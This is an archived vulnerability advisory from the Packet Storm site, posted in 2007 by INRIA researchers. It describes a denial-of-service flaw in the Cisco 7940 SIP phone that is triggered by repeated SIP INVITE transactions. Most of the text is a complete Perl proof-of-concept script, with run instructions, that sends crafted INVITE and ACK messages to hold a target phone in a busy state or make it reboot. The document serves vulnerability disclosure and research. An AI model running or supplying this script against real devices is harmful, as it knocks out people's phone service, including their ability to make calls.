what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cisco7940-dos.txt

cisco7940-dos.txt
Posted Dec 6, 2007
Authored by Radu State, Humberto J. Abdelnur, Olivier Festor

The Cisco 7940 is susceptible to a denial of service vulnerability when sent a sequence of SIP INVITE transactions. Demonstration exploit included.

tags | exploit, denial of service
systems | cisco
SHA-256 | a26c3e610685427175a09dd9c6263f17dfcce7d29309566957189aa762b24539

cisco7940-dos.txt

Change Mirror Download
Cisco 7940 Denial of Service Vulnerability



Hardware:

Cisco 7940 SIP Phone



Severity:

High – Denial of Service



Software:

Affected version: P0S3-08-7-00

Other Versions: May be



Notification:

Vulnerability found: 30 August 2007

Contact Cisco: 31 August 2007

Tracked issue: 11 September 2007



Vulnerability Synopsis:



Initiating a sequence of SIP INVITE transactions leads the device to a state
where it looks functional but it is not able to receive nor to start calls.
If the sequence of INVITE continues, the device will reboot. In the first
case, the period of time where the device is exposed to a DoS is about 3
minutes, but sending new INVITE transactions, at certain intervals, will
keep the target under DoS.



In order to generate the SIP INVITE transactions that lead the device to
such state, the Request-URI of the message should not have a user name (i.e.
"INVITE sip:XXX.XXX.XXX.XXX SIP/2.0"). In order to drive the device to a DoS
state only 6 transactions are required as the traffic displayed below.



X ----------------------- INVITE (Call-ID #1) -----------------------> Cisco
7940

X <------------------ 100 Trying (Call-ID #1) --------------------- Cisco
7940

....

--------5 New Dialogs like the previous--------

....

X ----------------------- INVITE (Call-ID #7) -----------------------> Cisco
7940

X <------------------ 486 Busy (Call-ID #7) --------------------- Cisco 7940



-------- DoS for aproximatly 3 minutes ------



X <------------------ 486 Busy (Call-ID #1) --------------------- Cisco 7940


X <------------------ 486 Busy (Call-ID #2) --------------------- Cisco 7940


X <------------------ 486 Busy (Call-ID #3) --------------------- Cisco 7940

X <------------------ 486 Busy (Call-ID #4) --------------------- Cisco 7940

X <------------------ 486 Busy (Call-ID #5) --------------------- Cisco 7940


X <------------------ 486 Busy (Call-ID #6) --------------------- Cisco 7940



Effect:

If the sequence of INVITE transactions continues, the device reboots.

Otherwise, the device can be permanently put under DoS by sending INVITE
transactions at certain intervals.

In such case the device replies busy to any incoming call and return busy to
any call made by the user.

However, the device maintains its connectivity with its registrar by sending
the REGISTER transaction.



Impact:

Knowing the userid and IP address of the target:

A remote user can crash the phone

DoS can performed by sending the packets at regular intervals



Proof of Concept:

A perl script stateful-cisco-8.7.pl) is attached to this mail.



Command:

perl stateful-cisco-8.7.pl <username> <dst_IP> <SourceIp> <sourceport> Eg.
perl stateful-cisco-8.7.pl 192.168.1.7 7940-1 192.168.1.2 tucu



Credits:

Humberto J. Abdelnur (Ph.D Student)

Radu State (Ph.D)

Olivier Festor (Ph.D)



This vulnerability was identified by the Madynes research team at INRIA
Lorraine, using KiF the Madynes VoIP fuzzer.

HYPERLINK "http://madynes.loria.fr/"http://madynes.loria.fr/





#!/usr/bin/perl



###############################

# Vulnerabily discovered using KiF ~ Kiph

#

# Authors:

# Humberto J. Abdelnur (Ph.D Student)

# Radu State (Ph.D)

# Olivier Festor (Ph.D)

#

# Madynes Team, LORIA - INRIA Lorraine

# HYPERLINK "http://madynes.loria.fr/"http://madynes.loria.fr

###############################



use IO::Socket::INET;

use String::Random;



die "Usage $0 <targetIP> <targetUser> <attackerIP> <attackerUser>"

unless ($ARGV[3]);



$targetUser = $ARGV[1];

$targetIP = $ARGV[0];



$attackerUser = $ARGV[3];

$attackerIP= $ARGV[2];



$socket=new IO::Socket::INET->new(

Proto=>'udp',

PeerPort=>5060,

PeerAddr=>$targetIP,

LocalPort=>5060);



$foo = new String::Random;



$flag = 0;

@calls;

$threads = 0;



while ($flag == 0){

$callid= " " . $foo->randpattern("CCCnccnC") ."\@$attackerIP";

$cseq = $foo->randregex('\d\d\d\d');



$msg = "INVITE sip:$targetIP SIP/2.0\r

Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r

From: <sip:$attackerUser\@$attackerIP>;tag=1\r

To: <sip:$targetUser\@$targetIP>\r

Call-ID:$callid\r

CSeq: $cseq INVITE\r

Max-Forwards: 70\r

Contact: <sip:$attackerUser\@$attackerIP>\r

Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY,

MESSAGE\r

Content-Length: 0\r

\r

";

$socket->send($msg);



$socket->recv($text,1024,0);

if ($text =~ /^SIP\/2.0 100(.\r\n)*/ ){

push(@calls, $callid);

sleep(1);

}elsif ($text =~ /^SIP\/2.0 486(.\r\n)*/ ){

if ($thread == 0){

$thread = scalar(@calls);

}

while (scalar(@calls) ge $thread){

$toTag = $cseq= $callid= $text;

$toTag =~ s/^(.*\r\n)*(To|t):(.*?>)(;.*?)?\r\n(.*\r\n)*/\4/;

$callid =~ s/^(.*\r\n)*Call-ID:(.*)\r\n(.*\r\n)*/\2/;

$cseq =~ s/^(.*\r\n)*CSeq: (.*?) (.*?)\r\n(.*\r\n)*/\2/;



$msg = "ACK sip:$targetIP SIP/2.0\r

Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r

From: <sip:$attackerUser\@$attackerIP>;tag=1\r

To: <sip:$targetUser\@$targetIP>$toTag\r

Call-ID:$callid\r

CSeq: $cseq ACK\r

Contact: <sip:$attackerUser\@$attackerIP>\r

Content-Length: 0\r

\r

";

$socket->send($msg);

$i= 0;

while ($i < scalar(@calls)){

if (@calls[$i] eq $callid){

delete @calls[$i];

}else{

$i += 1;

}

}

if (scalar(@calls) ge $thread){

$socket->recv($text,1024,0);

}

}

}

}




No virus found in this outgoing message.
Checked by AVG Free Edition.
Version: 7.5.503 / Virus Database: 269.16.14/1171 - Release Date: 04/12/2007
19:31

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close